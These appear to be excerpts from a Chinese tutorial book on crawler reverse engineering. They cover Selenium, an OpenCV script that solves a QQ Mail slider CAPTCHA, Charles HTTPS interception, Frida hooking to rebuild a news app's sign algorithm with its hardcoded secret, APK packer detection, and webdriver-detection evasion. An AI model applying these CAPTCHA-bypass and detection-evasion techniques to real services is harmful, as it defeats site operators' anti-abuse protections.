    {"text": "首先需要把两张 图片保存到本地， 一张是滑块图片， 一张是验证背景 图， 如 图 10-21 所示。 通过 selenium 中的 xpath 把图片的 src 获取到， 然后下载保存到本 地。 先获取两个图片 （滑块和验证图） 的 src： src_big = driver.find_element_by_xpath( //div[ @ id =\"slideBgWrap\"]/img ).get_attribute( src ) src_small = driver. find _element _by _xpath ( //div [ @ id = \" slideBlockWrap\"] /img ).get_attribute( src ) 根据 ·图 10-21 src 下载图片并保存到本地： img_big = requests.get(src_big).content img_small = requests.get(src_small).content with open( yanzhengtu.jpg , wb ) as f: f.write(img_big) with open( huakuai.png , wb ) as f: f.write(img_small) 开始识别图片缺口位置， 通过 opencv 实现一个识别方法： def shibie(): otemp = huakuai.png # 滑块 oblk = yanzhengtu.jpg # 验证图 target= cv2.imread(otemp, 0) # 读入图片 template= cv2.imread(oblk, 0) w, h = target.shape[::-1] # 获取数组转置后的结构 temp= temp.jpg targ = targ.jpg cv2.imwrite(temp, template) cv2.imwrite(targ, target) target= cv2.imread(targ) target= cv2.cvtColor(target, cv2.COLOR_BGR2GRAY) # 图像颜色空间转换 target= abs(255 - target) cv2.imwrite(targ, target) target= cv2.imread(targ) template= cv2.imread(temp) result= cv2.matchTemplate(target, template, cv2.TM_CCOEFF_NORMED) x, y = np.unravel_inDex(result.argmax(), result.shape) cv2.rectangle(template, (y, x), (y + w, x + h), (7, 249, 151), 3) return y 调用写好的识别方法， 计算保存在本地的图片中 0 坐标到缺口位置的距离 y， 如图 10-22 所示。"},
    {"text": "huakuai = driver.find_element_by_id( tcaptcha_drag_thumb ) action = ActionChains(driver) action.click_and_hold(huakuai).perform() y = (y+20)/(680/280)-27 # 根据计算机的分辨率，此处计算参数可能需要微调 action.move_by_offset(y,0).perform() time.sleep(0.5) action.release(on_element = huakuai).perform() # 松开鼠标左键，完成操作 time.sleep(1) 这样就可以自动完成验证了。 本案例完整代码： from selenium import webdriver import cv2,numpy as np, random, requests, time from selenium.webdriver import ActionChains 识别缺口位置、计算偏移值 def shibie(): . 3 49 爬虫逆向进阶实战 otemp = huakuai.png oblk = yanzhengtu.jpg target = cv2.imread(otemp, 0) template = cv2.imread(oblk, 0) w, h = target.shape[::-1] temp = temp.jpg targ = targ.jpg cv2.imwrite(temp, template) cv2.imwrite(targ, target) target = cv2.imread(targ) target = cv2.cvtColor(target, cv2.COLOR_BGR2GRAY) target = abs(255 - target) cv2.imwrite(targ, target) target = cv2.imread(targ) template = cv2.imread(temp) result = cv2.matchTemplate(target, template, cv2.TM_CCOEFF_NORMED) x, y = np.unravel_inDex(result.argmax(), result.shape) cv2.rectangle(template, (y, x), (y + w, x + h), (7, 249, 151), 3) return y 模拟验证行为 def main(): driver = webdriver.Chrome(executable_path=r 填写你的驱动文件地址 ) driver.get( https://mail.qq.com ) time.sleep(2) driver.switch_to.frame(\"login_frame\") try : driver.find_element_by_id( switcher_plogin ).click() except : pass username = 1234567{}@ qq.com .format(random.randint(0, 99)) driver.find_element_by_id(\"u\").send_keys(username) driver.find_element_by_id(\"p\").send_keys( wwwwwwwww ) driver.find_element_by_id(\"login_button\").click() driver.switch_to.frame(\"tcaptcha_iframe\") time.sleep(1) if driver.find_element_by_id( slideBgWrap ): time.sleep(0.5) src_big = driver.find_element_by_xpath( //div[@ id=\"slideBgWrap\"]/img ).get_attribute( src ) src_small = driver.find_element_by_xpath( //div[@ id =\"slideBlockWrap\"]/img ).get_attribute( src ) img_big = requests.get(src_big).content img_small = requests.get(src_small).content with open( yanzhengtu.jpg , wb ) as f: f.write(img_big) with open( huakuai.png , wb ) as f: f.write(img_small) y = shibie() time.sleep(2) 3 50 . 第 10 章 验证码识别技术 huakuai = driver.find_element_by_id( tcaptcha_drag_thumb ) action = ActionChains(driver) action.click_and_hold(huakuai).perform() y = (y + 20) / (680 / 280) - 27 # 此处参数可能需要微调 action.move_by_offset(y, 0).perform() action.release(on_element=huakuai).perform() time.sleep(3) driver.close() if _name_ = = _main_ : main() 如果不是以 Python 为主语言的读者， 对代码语法等都不太熟悉， 可以自行学习一下 Puppeteer 或者 touchRobot。"},
    {"text": "10. 2. 2 数美滑块验证码 小红书、 蘑菇街、 脉脉、 斗鱼等很多网站和 App 都用了数美的验证码。 本案例以数美官网的浮动式滑 块验证码为例， 分析验证过程， 完成模拟验证， 如图 10-25 所示。 数 美 验 证 码 官 网： https： / / www. ishumei. com / trial/ captcha. html"},
    {"text": "Unknown 5. 2 Charles Charles 是必备的抓包工具， 也是一个 HTTP / HTTPS 监视器 / 代理工具， 使开发人员能够查看本机和 Internet 之间的所有 HTTP 和 SSL/ HTTPS 流量。 这包括请求、 响应和 HTTP 标头 （其中包含 cookie 和缓存 信息）。 这里给大家展示的是 Charles 4. 2. 7 中文版， 如图 5-11 所示。 ·图 5-11 Charles 下载即用， 先看一下软件界面的功能区分布， 如图 5-12 所示。 Charles 界面上第一行是菜单栏， 第二行是工具栏， 工具栏按顺序分别是： 清除会话、 开始 / 停止抓取 会话、 开启 / 关闭限流、 开启 / 关闭断点、 编辑会话、 重新发送请求、 验证会话、 工具、 配置。 接下来是结构 （Structure） 和序列 （Sequence） 两种查看模式， 这里以序列页面为主， 其中展示的是 数据包列表和数据包的基本信息。 然后是一个过滤框， 最下面则是数据包请求信息和响应内容。 . 1 53 爬虫逆向进阶实战 ·图 5-12 5. 2. 1 Charles 配置 Charles 配置 很 简 单， 在 菜 单 栏 的 代 理 设 置 中 启 动 HTTP 代 理 并 填 上 一 个 代 理 端 口， 然 后 在 “Windows” 选项卡中勾上启动 Windows 代理， 如图 5-13 所示。 ·图 5-13 到菜单栏的 “帮助” 中选择 “SSL 代理”， 再选择 “安装 Charles Root 证书” 命令， 然后继续下一步 等待完成即可， 如图 5-14 所示。 需要把证书安装到本地计算机， 证书存储位置选择 “受信任的根证书颁发机构”。 接下来在代理中选择 SSL 代理设置， 启用 SSL 代理， 配置拦截规则即可进行 https 抓包了， 如图 5-15 所示。 1 54 . 第 5 章 抓包工具的应用 ·图 5-14 ·图 5-15 如果在移动设备上使用， 就需要去设备中配置 Wi-Fi 代理， 在 Wi-Fi 中修改网络， 填上本机的 IP 和 Charles 代理的端口， 然后到 http： / / chls. pro / ssl 下载证书， 等待 Charles 证书安装后就能抓包了。 5. 2. 2 Charles 断点 选择想要修改返回值的接口， 单击鼠标右键设置断点， 然后触发请求， 如图 5-16 所示。 发现 Charles 已经断点， 此时可以通过 Edit Request 对请求进行修改。 单击一次 “ Execute” 按钮后， 会完成请求并跳转到响应阶段， 此时可以修改响应内容。 . 1 55 爬虫逆向进阶实战 ·图 5-16 5. 2. 3 Charles 保存响应内容 Charles 将响应内容保存到本地的设置很简单， 选择 “工具” 下的 “镜像” 命令。 启用镜像， 然后设置响应内容保存的位置， 所有的响应都会以文件形式被保存下来。 也可以设置过 滤规则， 单击 “添加” 按钮即可根据协议、 主机、 端口、 路径等条件进行过滤， 如图 5-17 所示。 比如要保存 CSDN 的作者总榜， 抓包发现链接是 blog. csdn. net / . . . / all-rank？， 那么就启用镜像， 添加 匹配规则， 在主机中输入链接， 然后单击 “确定” 按钮即可， 如图 5-18 所示。 ·图 5-17 ·图 5-18 保存之后， 在浏览器中触发请求， 此时到本地的文件夹中查看， 响应内容已经被保存下来了。 1 56 . 第 5 章 抓包工具的应用 5. 2. 4 Charles 监听 webSocket Charles 在 3. 11 版本之后， 开始支持 webSocket 协议抓 取， 所以要监听 webSocket 最好使用新版本。 在代理配置中， 需要使用 SOCKS 来转发 webSocket， 所 以要启用 SOCKS 代理， 并且通过 SOCKS 启用透明 HTTP 代 理， 如图 5-19 所示。 配置完成之后， 就可以拦截 webSocket 协议的请求了， 如图 5-20 所示。 想必大家也十分熟悉 Charles， 所以不介绍那么多了， 自己在使用中探索吧。 ·图 5-19 ·图 5-20"},
    {"text": "Unknown 9. 1 某新闻加密参数分析和还原 本节作为逆向入门案例， 案例内容是对某新闻 App 的接口 sign 值进行分析和还原。 案例环境： 某新 闻 7. 2. 7、 夜神模拟器、 Jadx、 Frida。 9. 1. 1 接口分析 首先抓包分析接口， 这里使用的是夜神模拟器 （Android 5） +Charles 进行抓包， 如图 9-1 所示。 ·图 9-1 . 2 73 爬虫逆向进阶实战 分析如下： · 接口： / Api/ news/ recommendList？ · 加密参数： sign= 9819bfa26e8e93d4378068337e259c8c · category 是导航栏栏目标签。 · timestamp 是时间戳。 · App_id 是定值， 可能是版本信息。 · page 是页码、 size 是数据量。 笔者修改了 URL 的部分参数后， 再次请求， 返回了 {\" sign：签名校验失败\" }， 可以知道 sign 的生成 和 page、 size、 timestamp 这些都有关系， 如图 9-2 所示。 ·图 9-2 9. 1. 2 源码分析 接下来需要反编译 APK， 在源码中静态分析。 从模拟器 中导出 APK， 先查壳， 所幸未见明显加固， 所以直接反编 译， 如图 9-3 所示。 因为 该 应 用 只 有 24MB， 所 以 直 接 用 Jadx 来 反 编 译。 Jadx 的内存搜索在加载完毕之后， 只占用了 4GB 内存， 如 图 9- 4所示。 ·图 9-3 ·图 9-4 2 74 . 第 9 章 Android 逆向案例 搜索关键词 “sign”。 好在搜索结果并不多， 一般自定义的加密都会放在自己的类中， 找了一下感觉 这里比较合理， 如图 9-5 所示。 ·图 9-5 该类中出现了 App_id、 timestamp、 sign 这些接口中的参数， 双击进去查看。 可以发现 sign 是通过 sb2 进行 MD5 后生成的， sb2 是一个 StringBuilder 类型的 sb 在 toString 后的值， 如图 9- 6 所示。 ·图 9-6 仔细分析这一段内容， sortedMap 是一个排序后的 Map， 查了一下 SortedMap 是按 KEY 值升序排序， 所以后边处理的时候， 需要注意排序规则， 如图 9-7 所示。 . 2 75 爬虫逆向进阶实战 ·图 9-7 ContainerUtils. KEY_VALUE_DELIMITER 是一个定值 =等号。 此处源码大意： 从 sortedMap 中取出 KEY 和 VALUE 遍历到 sb 中， KEY 和 VALUE 用等号拼接， 然后 把 BuildConfig 中的 App_secret 也添加进去， 最后 MD5 加密。 查看 app_secret， 发现也是定值 cb1ad4178795e38354896556c5939472， 如图 9- 8 所示。 ·图 9-8 已知 sortedMap 是通过 hashMap toSortedMap 排序后返回的。 而 hashMap 中分别 put 了 app_id 和 timestamp， 以及请求时 Request 对象中的一些参数。 所以得出 sign 值生成流程， 先提取参数构建 Map， 然后转换成字符串以 = 拼接， 再和 app_secret 组合 后进行 MD5 加密。 静态分析到这里就结束了， 按照静态分析也能计算出 sign 值， 但是为了让大家更好地训练分析能力 和 Hook 能力， 接下来再用 Frida 来调试分析。 9. 1. 3 动态分析 通过 Frida 来 Hook 参 数， 验 证 静 态 分 析 结 果 是 否 正确。 先启 动 移 动 设 备， 然 后 启 动 Frida-server， 如 图 9-9 所示。 ·图 9-9 2 76 . 第 9 章 Android 逆向案例 接下来开始选择 Hook 点， 根据静态分析可以发现直接 Hook 类中的 MD5 方法， 即可查看 sign 生成前 的入参。 需要注意的是 MD5 方法是成员方法， 所以 Hook 时要进行实例化， 加上$ new（）。 Hook 代码如下： import Frida, sys def on_message(message, data): print(\"[% s] => % s\" % (message, data)) session = Frida.get_usb_device().attach( 应用包名 ) jscode_hook = \"\"\" Java.perform( function(){ console.log(\"1. start hook\"); var ba = Java.use(\"com.dingduan.lib_network.interceptor. CommonParamIntercep-tor\").$ new(); if (ba != undefined) { console.log(\"2. find class\"); ba.md5.implementation = function (a1) { console.log(\"3. find function\"); console.log(a1); var res = ba.md5(a1); console.log(\"计算 Sign:\" + res); return res; } } } ) \"\"\" script = session.create_script(jscode_hook) script.on( message , on_message) script.load() sys.stdin.read() 打印结果： 先把打印出的这串参数用在线 MD5 加密后和 sign 进行对比， 看看源码中是否是普通的 MD5 加密。 对 比过程省略掉了， 最后发现结果是一致的。 9. 1. 4 加密还原 根据静态和动态分析的结果来看， sign 的生成规则就是把 URL 的参数 Params 按照 KEY 值排序， 然后 转为字符串并用等号拼接， 最后加上定值 app_secret 进行 MD5。 Python 还原代码： . 2 77 爬虫逆向进阶实战 import requests import time import hashlib def get_md5(string): m = hashlib.md5() m.update(string.encode()) return m.hexdigest() timestamp = str(round(time.time())) App_id = \"210709162105892998\" App_secret = \"cb1ad4178795e38354896556c5939472\" item = { \"App_id\":App_id, \"category\":\"1\", \"page\":\"2\", \"request_time\":\"1\", \"size\":\"20\", \"timestamp\":timestamp } params = sorted(item.items(),key = lambda x:x[0] ) sb = for p in params: sb += f {p[0]}={p[1]} sb+ = App_secret sign = get_md5(sb) item.update({\"sign\":sign}) 经测试在运行程序后会成功返回数据。 本节案例内容并不复杂， 希望大家可以根据流程实操一遍， 毕竟逆向技术的成长需要不断去积累经验。"},
    {"text": "Unknown 9. Frida 延时 Hook Android 应用中有一些类是通过动态加载的方式来加载的， 和 Web 页面中的异步加载相似。 所以用 Frida 在 Hook 时， 可能会出现找不到类、 找不到代码的情况， 此时的解决方式就是使用延时 Hook。 延时有很多种方法， 最简单的方式就是通过 Js 的 setTimeout 设置延时。 不过这种硬式等待的方式具 有一定的局限性。 通过命令延时， Frida--no-pause 是进程直接执行， 如果把--no-pause 拿掉， 可以在进入 CLI 之后延迟一 段时间， 再使用%resume 恢复执行。 还有一种方法是在 ClassLoader 类加载器上添加 Hook， 其实和 Hook 上层函数的方法相似。 Unknown 4. 虚拟机源码保护 虚机机源码保护是第五代加固方案， 用虚机技术来保护 Java、 Kotlin、 C / C++等多种代码。 加固的逻 辑是把待保护的核心代码编译成中间的二进制文件， 然后生成独特的虚机源码保护执行环境和只能在该 环境下执行的运行指令。 虚机源码保护会在 App 内隔离出独立的执行环境， 该核心代码的运行 程序在此独立的执行环境里运行。 即便 App 本身被破解， 这部分核心代码 仍然不可见， 如图 6-93 所示。 虚拟机还具备一定的反调试能力， 可以实时监测到外界对虚拟机环境 的调试、 注入等调试动作， 将其引入程序陷阱。 这种强度特别高的加固， 是未来加固的发展方向， 目前在很多金融、 银行应用中会多一点。 6. 6. 2 查壳工具 查壳是逆向分析前的准备工作， 市面上每家厂商的加固策略都有其特 点， 只有确定加固策略时， 才能更好地制定脱壳方案， 本小节介绍的是根 据加固厂商 so 文件名特征识别的 APK 查壳工具。 工具原理和实现其实都比较简单， 通过解压 APK 文件， 查询文件中的 so 库的文件名来判断是否被加固和加固的种类。 方法并不通用， 具有一定 ·图 6-93 的局限性， 但胜在便捷。 2 42 . 第 6 章 Android 逆向 这种工具有很多， 比如 PKID 查壳工具、 APKScan 查壳工具， 可以直接下载使用。 import zipfile class shellDetector(): def _init_(self): self.shellfeatures = { \"libchaosvmp.so\" :\"娜迦\", \"libddog.so\" :\"娜迦\", \"libfdog.so\" :\"娜迦\", \"libedog.so\" :\"娜迦企业版\", \"libexec.so\" :\"爱加密\", \"libexecmain.so\" :\"爱加密\", \"ijiami.dat\" :\"爱加密\", \"ijiami.ajm\" :\"爱加密企业版\", \"libsecexe.so\" :\"梆梆免费版\", \"libsecmain.so\" :\"梆梆免费版\", \"libSecShell.so\" :\"梆梆免费版\", \"libDexHelper.so\" :\"梆梆企业版\", \"libDexHelper-x86.so\" :\"梆梆企业版\", \"libprotectClass.so\" :\"360\", \"libjiagu.so\" :\"360\", \"libjiagu_art.so\" :\"360\", \"libjiagu_x86.so\" :\"360\", \"libegis.so\" :\"通付盾\", \"libNSaferOnly.so\" :\"通付盾\", \"libnqshield.so\" :\"网秦\", \"libbaiduprotect.so\" :\"百度\", \"aliprotect.dat\" :\"阿里聚安全\", \"libsgmain.so\" :\"阿里聚安全\", \"libsgsecuritybody.so\" :\"阿里聚安全\", \"libmobisec.so\" :\"阿里聚安全\", \"libtup.so\" :\"腾讯\", \"libshell.so\" :\"腾讯\", \"mix.Dex\" :\"腾讯\", \"lib/armeabi/mix.Dex\" :\"腾讯\", \"lib/armeabi/mixz.Dex\" :\"腾讯\", \"libtosprotection.armeabi.so\" :\"腾讯御安全\", \"libtosprotection.armeabi-v7a.so\" :\"腾讯御安全\", \"libtosprotection.x86.so\" :\"腾讯御安全\", \"libnesec.so\" :\"网易易盾\", \"libAPKProtect.so\" :\"APKProtect\", \"libkwscmm.so\" :\"几维安全\", \"libkwscr.so\" :\"几维安全\", \"libkwslinker.so\" :\"几维安全\", \"libx3g.so\" :\"顶像科技\", \"libapssec.so\" :\"盛大\", \"librsprotect.so\" :\"瑞星\" } . 2 43 爬虫逆向进阶实战 def shellDetector(self,APKpath): zipfiles=zipfile.ZipFile(APKpath) nameList=zipfiles.namelist() for fileName in nameList: for shell in self.shellfeatures.keys(): if shell in fileName: shellType=self.shellfeatures.get(shell, unknown ) return shellType return \"未加固或未知加固\" 通过静态文件特征来查壳局限性很大， 如果厂家修改一下 so 名就无法查到了， 或者修改成另一厂家 的特征名， 查起来就会很麻烦。 所以大家要掌握加固的基本概念， 在反编译时结合自己的经验进行分析 和判断。 除了使用查壳工具外， 如何判断是否有壳： 最简单的方法是， 如果使用多种工具都反编译失败或者发现文件中缺失大量关键代码， 那么大概率 是加固导致的。 另外可以自行查看源码， 来查找源码中是否有加固的特征。 6. 6. 3 脱壳工具 初期脱壳没有太多技巧， 用各种工具脱壳就可以， 要相 信总有一款工具能把 Dex 文件 dump 出来， 如果所有工具都无 法使用， 需要考虑是否是反编译工具问题或者 APK 本身是否 有问题， 之后再尝试分析。 本节中对工具的介绍不会特别详 细， 因为都比较常用并且操作简单。"},
    {"text": "·图 4-1 4. 1. 1 工具简介 Selenium 是爬虫工程师最常用的 Web 自动化测试工具之一， 也是笔者接触的第一个可解决 Js 渲染的 自动化库， 在早些年熟练使用它可以解决非常多且困难的采集任务。"},
    {"text": "from selenium import webdriver driver = webdriver.Chrome(executable_path = your path ) driver.get( https://www.baidu.com ) 先看浏览器的常用操作， 如表 4-1 所示。 表 4-1 浏览器的常用操作 代 码 简 介 driver. title 当前页面 title driver. current_url 当前页面 url driver. page_source 当前页面源码 driver. maximize_window() 浏览器窗口最大化 driver. set_window_size (480， 480) 浏览器窗口宽高 driver. refresh() 浏览器刷新 driver. back() 浏览器后退 driver. forward() 浏览器前进 driver. get_screenshot_as_file() 截图为文件 driver. get_screenshot_as_png() 截图为图片 driver. get_screenshot_as_base64() 截图为 base64 driver. current_window_handle 窗口句柄 driver. get_cookies (name) 获取 cookie driver. add_cookie (cookie_dict) 添加 cookie driver. delete_cookie (name) 删除某 cookie driver. delete_all_cookies() 删除所有 cookie 如果把 element 改为 elements， 就会变成定位多个， 常见元素定位方法如表 4-2 所示。 表 4-2 常见元素定位方法 代 码 简 介 driver. find_element_by_tag_name() 标签定位 driver. find_element_by_link_text() 文字定位 driver. find_element_by_partial_link_text() 部分文字定位 driver. find_element_by_xpath() Xpath 定位 driver. find_element_by_class_name() Class 名定位 driver. find_element_by_id() ID 定位 . 1 17 爬虫逆向进阶实战 常见元素操作方法如表 4-3 所示。 表 4-3 常见元素操作方法 代 码 简 介 driver. find_element_by_id ( lx ) . click() 单击元素 driver. find_element_by_id ( lx ) . send_keys ( ) 在元素中输入 driver. find_element_by_id ( lx ) . submit() 提交表单 driver. find_element_by_id ( lx ) . clear() 清空内容 WebElement 常用方法如表 4-4 所示。 表 4- 4 WebElement 常用方法 代 码 简 介 driver. find_element_by_id ( lx ) . size 返回元素大小 driver. find_element_by_id ( lx ) . text 返回元素文本 driver. find_element_by_id ( lx ) . get_attribute() 返回元素属性值 driver. find_element_by_id ( lx ) . is_displayed() 返回元素是否可见 基于 selenium. webdriver. ActionChains 实现， 鼠标事件如表 4-5 所示。 表 4-5 鼠标事件 代 码 简 介 context_click() 鼠标右击 double_click() 鼠标双击 drag_and_drop() 鼠标拖放 move_by_offset() 鼠标移动 move_to_element() 鼠标悬停 click_and_hold() 按下鼠标左键 比如通过控制鼠标去单击百度的输入框。 from selenium.webdriver import ActionChains action = ActionChains(driver) kw = driver.find_elements_by_id ( kw ) action. context_click ( kw ) . perform ( ) 基于 selenium. webdriver. common. keys 实现， 键盘事件如表 4- 6 所示。 表 4- 6 键盘事件 代 码 简 介 driver. find_element_by_id ( ) . send_keys (Keys. BACK_SPACE) 回删一位 driver. find_element_by_id ( ) . send_keys (Keys. SPACE) 输入空格 1 18 . 第 4 章 自动化工具的应用 (续) 代 码 简 介 driver. find_element_by_id ( ) . send_keys (Keys. CONTROL， a ) 全选 driver. find_element_by_id ( ) . send_keys (Keys. CONTROL， x ) 剪贴 driver. find_element_by_id ( ) . send_keys (Keys. CONTROL， v ) 粘贴 driver. find_element_by_id ( ) . send_keys (Keys. ENTER) 输出回车 窗口句柄处理。"},
    {"text": "有时候 Selenium 会跳转到新页面导致窗口句柄不对而无法进行操作， 所以需要切换 窗口句柄， 或者通过 Js 设置不让页面发生跳转。 # 获取当前窗口句柄 now_handle = driver.current_window_handle # 登录后打开新窗口 driver.find_element_by_link_text( 登录 ).click() # 获取新窗口句柄 new_handle = driver.current_window_handle # 回到之前的 now_handle 窗口 driver.switch_to_window(now_handle) # 切换到 new_handle 窗口 driver.switch_to_window(driver.window_handles[1] ) # 再切换到 now_handle 窗口 driver.switch_to_window(driver.window_handles[0] ) 遇到下拉框的时候， 先定位到下拉框的元素， 然后通过鼠标事件进行单击， 完成下拉操作。 from selenium.webdriver import ActionChains xlk = driver.find_element_by_xpath( //div[ @ id =\"xlk\"] ) ActionChains(driver).move_to_element(xlk) xlk.click() 如果遇到了 iframe 的时候， 需要使用 switch 命令进行切换。 frame_reference = driver.find_element_by_id( ) driver.switch_to_frame(frame_reference) 4. 1. 3 调用 JavaScript 当 webdriver 遇到无法完成的操作时， 可以通过 JavaScript 来完成。 webdriver 提供了 execute_script（）和 execute_Async_script（）方法来执行 Js 代码。 execute_script 是同步方法， 有返回值， 而 execute_Async_script 是异步方法， 它不会阻塞主线程执行， 没有返回值。"},
    {"text": "比如隐藏百度页面的 “搜索” 按钮， 先定位到 ID 为 su 的元素， 然 后通过 Js 修改元素类型为 hidden。 su = driver.find_element_by_id ( su ) driver. execute_script ( document. getElementById ( \" su\" ) . type = \" hidden\" , su ) 也可以通过 Js 代码操作浏览器的滚动条。 . 1 19 爬虫逆向进阶实战 # 拖动滚动条至底部 js_bottom = \"document.documentElement.scrollTop =10000\" driver.execute_script(js_bottom) # 拖动滚动条至顶部 js_top = \"document.documentElement.scrollTop =0\" driver.execute_script(js_top) 或者去执行一些在当前页面环境才可运行的 Js 代码， 做 RPC 调用， 如图 4-2 所示。"},
    {"text": "from selenium import webdriver import time from selenium.webdriver.chrome.options import Options chrome_options = Options() chrome_options.add_argument( --headless ) # 添加配置 driver = webdriver.Chrome(options = chrome_options,executable_path = r ) driver.get( https://www.mafengwo.cn/sales/0- 0-M10030- 0- 0- 0- 0- 0.html ) time.sleep(2) for page in range(5): # 滑动滚动条 js_bottom = \"document.documentElement.scrollTop=20000\" driver.execute_script(js_bottom) # 匹配元素 for li in driver.find_elements_by_xpath( //div[@ class=\"info\"]/h3 ): print(li.text) # 翻页 driver.find_element_by_link_text( Next>> ).click() time.sleep(1) driver.close() driver.quit() 1 20 . 第 4 章 自动化工具的应用 4. 1. 5 检测应对 因为用 Selenium 做爬虫可以绕过 Js 的加密校验， 所以很多网站都通过 Js 对 webdriver 进行检测， 防止 用自动化来做爬虫。 曾经最常见的检测是根据 navigator. webdriver 属性是否为 True 来判断浏览器真假， 如果是 Google 浏览 器 79 版本以前的， 可以启用开发者模式来规避这个检测， 方法如下： from selenium.webdriver import Chrome from selenium.webdriver import ChromeOptions option = ChromeOptions() option.add_experimental_option( excludeSwitches , [ enable-automation ]) driver = Chrome(options = option,executable_path = ) 但是在 79 版本之后， chrome 修复了开发者模式下 navigator. webdriver 未定义的问题， 在 79 版本之后 的应对检测需要覆盖掉 webdriver 为 True 的属性， 之前笔者一直采用下面的方法。 from selenium import webdriver import time from selenium. webdriver import ChromeOptions option = ChromeOptions() driver = webdriver.Chrome(executable_path = \"\",options = option) driver.execute_cdp_cmd(\"Page.addScriptToEvaluateOnNewDocument\", { \"source\":\"\"\" Object.defineProperty(navigator, webdriver , { get:() => undefined }) \"\"\" }) 但是近期又发现， 88 版本的 Google 用这个方法失效了， 不过笔者找到了新的解决方法， 通过配置让 Chrome 隐藏掉 webdriver 的一些特征。"},
    {"text": "chrome_options = webdriver.ChromeOptions() chrome_options.add_experimental_option( useAutomationExtension ,False ) chrome_options.add_argument(\"disable-blink-features\") chrome_options.add_argument(\"disable-blink-features =AutomationControlled\") driver = webdriver.Chrome(executable_path = ,chrome_options = chrome_options) driver.get(\"https://bot.sannysoft.com/\") 除了 navigator. webdriver 以外， 还可能检测其他属性， 比如 languages、 length、 user-agent 等， 有时候 分析起来着实麻烦。 那么当确定 chrome 驱动被检测到， 上面的方法页不能解决问题， 就更换浏览器， 比 如 Firefox、 Edge， 实在不行就换 IE 浏览器。 不过 Selenium 调用 IE 也需要下载对应的 IEDriverServer， 打开 下载链接后， 根据 Selenium 版本选择对应的驱动目录即可。 IEDriverServer 下载地址： http： / / selenium-release. storage. googleApis. com/ inDex. html IE7 或者更高的版本需要关闭保护模式， 方法如下： 打开 Internet 选项， 选择 “安全” 选项， 关闭 4 个区域的保护模式。"},
    {"text": ". 1 21 爬虫逆向进阶实战 ·图 4-3 ·图 4-4 另外需要修改注册表， 32 位系统的 key 值在 HKEY_LOCAL_MACHINE \\ SOFTWARE \\ Microsoft \\ InternetExplorer \\ Main \\ FeatureControl \\ FEATURE_BFCACHE 中， 64 位系统的 key 值在 HKEY_LOCAL_MACHINE \\ SOFTWARE \\ Wow6432Node \\ Microsoft \\ InternetExplorer \\ Main \\ FeatureControl \\ FEATURE_BFCACHE 中。"},
    {"text": "不过需要一定的逆向分析经验， 需要找到哪个 Js 文件在负责检测， 然后修改文件中的检测方法， 具 有一定的难度， 如果感觉困难的话， 不妨更换一种方式来驱动浏览器， 比如使用按键精灵或者 pywin32 进 行真实浏览器的自动化操作。"},
    {"text": "Unknown 1. 获取小程序 pkg 首先安装好模拟器， 并且安装微信。 然后通过微信启动小程序， 完成小程序的加载。 接着需要下载 一个 RE 文件管理器或者 np、 mt 管理器等， 并给予 Root 权限， 如图 7-3 所示。 然后通过 RE 文件管理器去查询加载过的小程序包。 以木木模拟器为例， 小程序包位置如图 7- 4 所示。 . 2 53 爬虫逆向进阶实战 ·图 7-3 ·图 7-4 如果不好找， 可以直接通过关键词 “wxapkg” 搜索来进行检索。 下面 . wxapkg 类型的文件就是微信小程序的包， 如图 7-5 所示。 ·图 7-5 接下来把这些包复制到本地。 可以通过模拟器的共享文件夹传递文件， 或者是通过 adb 命令复制文 件， 或者通过第三方工具发送文件。 Unknown 1. 2 爬虫基本架构 一个爬虫任务的基本流程由四部分组成， 确定采集目标、 发起请求、 数据解析、 数据存储。 确定采 集目标是任务的第一步， 需要开发者提前准备好目标 URL 或者通过某种规则去获取目标 URL， 发起请求是通 过某种协议对目标 URL 进行连接， 一般在连接成功后， 都会得到服务端的响应内容， 以便进行第三步的数据解 析， 最后就是对解析完成的数据进行存储或者提交。 传统网络爬虫的架构也是基于单个爬虫的任务流程 演变出来的， 我们可以看如图 1-1 所示的结构图。 在数 据解析的基础上增加了对新任务的处理。 那么我们在真实工作中的爬虫开发流程是什么样 的， 笔者梳理了一下工作流程， 以便于我们在接下来的 ·图 1-1 章节中更快地沉浸进去， 如图 1-2 所示。 ·图 1-2 我们平时大部分的时间都会用在接口分析和加密逆向上， 在代码上并没有投入太多的时间， 同样因 为经常使用开源框架， 而对爬虫架构的本身并没有过多的关注， 所以在接下来的小节中， 学习一下爬虫 常用的分布式架构和遍历策略。 下面分享一个经典爬虫面试题，打开一次网页都会发生些什么： DNS 解析：将域名解析成 IP 地址 TCP 连接：TCP 三次握手 发送报文：发送 HTTP 请求报文 接收响应：服务器处理请求并返回 HTTP 报文 页面渲染：浏览器解析渲染页面 断开连接：TCP 四次挥手 2 . 第 1 章 网络爬虫架构 Unknown 3. 8 浏览器环境监测 平时大部分时候都不会主动去看浏览器环境， 一般是根据报错来进行补充。 但是想更清晰明了地知 道浏览器使用了哪些环境， 可以使用 Proxy 和 Object. defineProperty 方法来监测。 3. 8. 1 Proxy-intercept Proxy 也就是代理， 它可以帮助完成很多事情， 例如对数据的处理， 对构造函数的处理， 对数据的验 证， 其实就是在访问对象前添加了一层拦截， 可以自定义过滤规则和处理规则。 window = new Proxy (global, { get:function (target, key, receiver) { 8 0. 第 3 章 Web Js 逆向 console .log(\"window.get\", key, target[key]); if (key = = \"location\") { location = new Proxy (target[key], { get:function (_target, _key, _receiver) { console .log(\"window.get\", key, _key, _target[_key]); if (_key = = \"port\") { console .log(\"公众号【Pythonlx】\") } return _target[_key]; } }) } return target[key]; },set:function (target, key, value, receiver) { console .log(\"window.set\", key, value); target[key] = value; } }); 3. 8. 2 Object-hook Object. defineProperty 是一种 Hook 方法， 可以直接在一个对象上定义一个新属性， 或者修改一个对象 的现有属性， 也就能够实现对象属性的监听。 使用示例如下： var obj = new Object (); var value ; Object .defineProperty(obj , name ,{ get:function () { console .log( GET METHOD ); return value ; }, set:function (newvalue) { console .log( SET METHOD ); value = newvalue; } }); console .log(obj ); console .log(obj .name ); obj .name = \"LX\"; console .log(obj .name ); 可以根据 Object. defineProperty 的特性来使用递归， 解决深层对象的遍历问题。 function observe (obj){ if (! obj || typeof obj != object ){ return } for (var i in obj){ definePro (obj, i, obj[i]); } . 8 1 爬虫逆向进阶实战 } function definePro (obj, key, value){ observe (value); object .defineProperty(obj, key, { get:function (){ return value; }, set:function (newval){ console .log( 检测变化 ,newval); value =newval; } }) } 但是根据环境的不同， 一些流程可能无法很完整地被监测到。 所以说逆向任重道远， 调试需要耐心。"},
